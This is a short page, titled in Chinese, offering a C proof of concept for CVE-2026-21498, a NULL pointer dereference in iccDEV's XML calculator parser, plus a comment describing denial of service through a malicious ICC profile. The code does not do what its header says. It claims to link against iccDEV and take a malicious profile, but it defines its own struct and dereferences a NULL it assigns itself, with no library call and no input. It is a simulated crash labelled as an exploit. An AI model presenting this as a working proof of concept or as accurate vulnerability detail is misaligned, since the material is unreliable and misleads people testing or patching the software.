CVE-2026-21498: iccDEV XML解析器空指针解引用漏洞

/* * CVE-2026-21498 PoC - iccDEV XML Parser NULL Pointer Dereference * This PoC demonstrates the NULL pointer dereference vulnerability in iccDEV's XML calculator parser. * The vulnerability exists in versions prior to 2.3.1.2 * * Usage: Compile with iccDEV library and run with malicious ICC profile * gcc -o poc poc.c -liccDEV */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Simulated vulnerable XML parsing function */ typedef struct { char* tag_name; char* attribute; void* next_element; } XMLElement; /* Vulnerable function that doesn't check for NULL */ void parse_xml_element(XMLElement* elem) { /* This function attempts to access elem->next_element without NULL check */ /* In vulnerable version, if XML structure is malformed, next_element remains NULL */ printf("Parsing element: %s\n", elem->tag_name); /* VULNERABLE CODE: Direct access without NULL check */ if (strcmp(elem->tag_name, "calculator") == 0) { /* This will cause NULL pointer dereference if next_element is NULL */ XMLElement* next = (XMLElement*)elem->next_element; printf("Attribute: %s\n", next->attribute); /* CRASH HERE if next is NULL */ } } /* Create malicious XML structure to trigger vulnerability */ XMLElement* create_malicious_profile() { XMLElement* root = (XMLElement*)malloc(sizeof(XMLElement)); if (!root) return NULL; root->tag_name = strdup("calculator"); root->attribute = strdup("malicious_data"); /* VULNERABILITY: next_element is NULL, not initialized */ root->next_element = NULL; /* This NULL causes the crash */ return root; } int main(int argc, char* argv[]) { printf("[*] CVE-2026-21498 PoC - iccDEV NULL Pointer Dereference\n"); printf("[*] Target: iccDEV < 2.3.1.2\n"); XMLElement* malicious_profile = create_malicious_profile(); printf("[*] Triggering vulnerability...\n"); parse_xml_element(malicious_profile); /* Will crash here */ /* Cleanup */ free(malicious_profile->tag_name); free(malicious_profile->attribute); free(malicious_profile); return 0; } /* * REAL WORLD EXPLOITATION: * 1. Attacker creates a malicious ICC profile with malformed XML metadata * 2. Attacker tricks user into opening the profile with vulnerable application * 3. Application crashes due to NULL pointer dereference * 4. Result: Denial of Service */